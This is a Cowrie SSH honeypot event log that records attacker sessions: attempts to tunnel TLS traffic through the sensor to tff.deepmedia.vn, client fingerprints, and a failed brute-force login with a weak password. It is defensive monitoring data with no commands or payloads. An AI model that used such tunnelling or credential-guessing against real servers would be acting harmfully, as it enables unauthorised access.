{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03+:l\\xa0QYr>iiE\\xd4#\\xc6\\x85\\x976\\xac((\\x88\\xb1\\xc7\\xa3\\x86;\\x02\\xa4\"4\\x0b0 \\xd1\\x1c\\'\\xb4k\\xf7<\\x89\\xebx\\xdc\\xdf\\xf1xeLe\\xc1\\x8d\\x8a\\xbe\\xca\\xcftfd\\xbf\\x15s\\xd1\\xf3q\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 )\\x13\\x15\\xc4`\\xb7r\\x17\\x1a\\x10\\xb7M*\\xae\\xdfU?\\r\\xb1\\x02\\xf2F\\xf5nE\\xa2@\\x8b\\x02\\xbe\\xcd\\x07\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03+:l\\xa0QYr>iiE\\xd4#\\xc6\\x85\\x976\\xac((\\x88\\xb1\\xc7\\xa3\\x86;\\x02\\xa4\"4\\x0b0 \\xd1\\x1c\\'\\xb4k\\xf7<\\x89\\xebx\\xdc\\xdf\\xf1xeLe\\xc1\\x8d\\x8a\\xbe\\xca\\xcftfd\\xbf\\x15s\\xd1\\xf3q\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 )\\x13\\x15\\xc4`\\xb7r\\x17\\x1a\\x10\\xb7M*\\xae\\xdfU?\\r\\xb1\\x02\\xf2F\\xf5nE\\xa2@\\x8b\\x02\\xbe\\xcd\\x07\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:54.119155Z","src_ip":"113.164.152.20","session":"1dd3931af2ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":59981,"dst_ip":"159.203.135.109","dst_port":22,"session":"44fedc44ec88","protocol":"ssh","message":"New connection: 41.90.100.147:59981 (159.203.135.109:22) [session: 44fedc44ec88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:54.439032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:54.443554Z","src_ip":"41.90.100.147","session":"44fedc44ec88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:54.511081Z","src_ip":"113.164.152.20","session":"1dd3931af2ad","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:54.575092Z","session":"188ac22dc5c6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:54.635205Z","src_ip":"23.175.50.47","session":"188ac22dc5c6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x037\\x99d\\xb0n\\xbc\\x04\\xb2\\x06\\xdc\\x80\\xd3\\\\\\x0e\\xea\\xaf\\xa0/\\xf5\\x15Tt4Ns)*\\xcc*\\xe6\\xa5\\xc5 \\xb6\\xf2\\xcc-\\xd8\\xb9\\xd7h\\x03d{\\xd4\\xc5\\x16\\x8a\\xcb3`\\xb2\\x91DQ\\x8c\\xd3\\xc35R\\xfe}@\\xa1|\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb5\\x10\\tV\\xb4/\\xba(\\xdb\\xf6\\xa8*\\x19\\xbe\\x0e\\xe8i\\xe2\\xea\\xc6\\x7f\\xe7\\x17>7\\xa32\\xf0,O\\xa61\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x037\\x99d\\xb0n\\xbc\\x04\\xb2\\x06\\xdc\\x80\\xd3\\\\\\x0e\\xea\\xaf\\xa0/\\xf5\\x15Tt4Ns)*\\xcc*\\xe6\\xa5\\xc5 \\xb6\\xf2\\xcc-\\xd8\\xb9\\xd7h\\x03d{\\xd4\\xc5\\x16\\x8a\\xcb3`\\xb2\\x91DQ\\x8c\\xd3\\xc35R\\xfe}@\\xa1|\\x00 ::\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xb5\\x10\\tV\\xb4/\\xba(\\xdb\\xf6\\xa8*\\x19\\xbe\\x0e\\xe8i\\xe2\\xea\\xc6\\x7f\\xe7\\x17>7\\xa32\\xf0,O\\xa61\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:54.638846Z","src_ip":"23.175.50.47","session":"188ac22dc5c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:54.658881Z","src_ip":"41.90.100.147","session":"44fedc44ec88","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:54.747491Z","session":"188ac22dc5c6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:54.805893Z","src_ip":"23.175.50.47","session":"188ac22dc5c6","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03`\\x9a\\xd4)\\x8c\\\\5@4\\x9dn\\x85\\xfc\\x9f\\x90\\xca\\x98\\x92\\xa2\\xf7a\\x1d+\\x9f\\xc1\\x8f\\xb0\\xb5y\\x9cq\\x06 \\xfa\\x88\\xd0\\x14=\\\\\\xd6\\x83\\xf0\\xf9\\x83\\xa6B\\xe5\\x8f5\\xa4\\x1e\\xa7\\x10\\xba\\xb8\\xcfI@5?\\xf8\\xd1\\x83I\\xbc\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 %\\xc7\\xe5S5\\xca\\xb0 Ef\\x92\\xa1,\\xc0G\\r\\x05\\x0c\\xc2J\\x1a\\xd8\\x80fHtT\\xc6\\xd4;\\xbes\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03`\\x9a\\xd4)\\x8c\\\\5@4\\x9dn\\x85\\xfc\\x9f\\x90\\xca\\x98\\x92\\xa2\\xf7a\\x1d+\\x9f\\xc1\\x8f\\xb0\\xb5y\\x9cq\\x06 \\xfa\\x88\\xd0\\x14=\\\\\\xd6\\x83\\xf0\\xf9\\x83\\xa6B\\xe5\\x8f5\\xa4\\x1e\\xa7\\x10\\xba\\xb8\\xcfI@5?\\xf8\\xd1\\x83I\\xbc\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 %\\xc7\\xe5S5\\xca\\xb0 Ef\\x92\\xa1,\\xc0G\\r\\x05\\x0c\\xc2J\\x1a\\xd8\\x80fHtT\\xc6\\xd4;\\xbes\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02ZZ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:54.808646Z","src_ip":"23.175.50.47","session":"188ac22dc5c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123456789","message":"login attempt [runner/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:55.554253Z","src_ip":"41.90.100.147","session":"44fedc44ec88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:56.771925Z","src_ip":"41.90.100.147","session":"44fedc44ec88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.6","message":"Connection lost after 13.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:18:57.487891Z","src_ip":"23.175.50.47","session":"188ac22dc5c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":28762,"dst_ip":"10.17.0.5","dst_port":22,"session":"0cb0dc890d07","protocol":"ssh","message":"New connection: 38.93.206.2:28762 (10.17.0.5:22) [session: 0cb0dc890d07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:19:09.962768Z"}
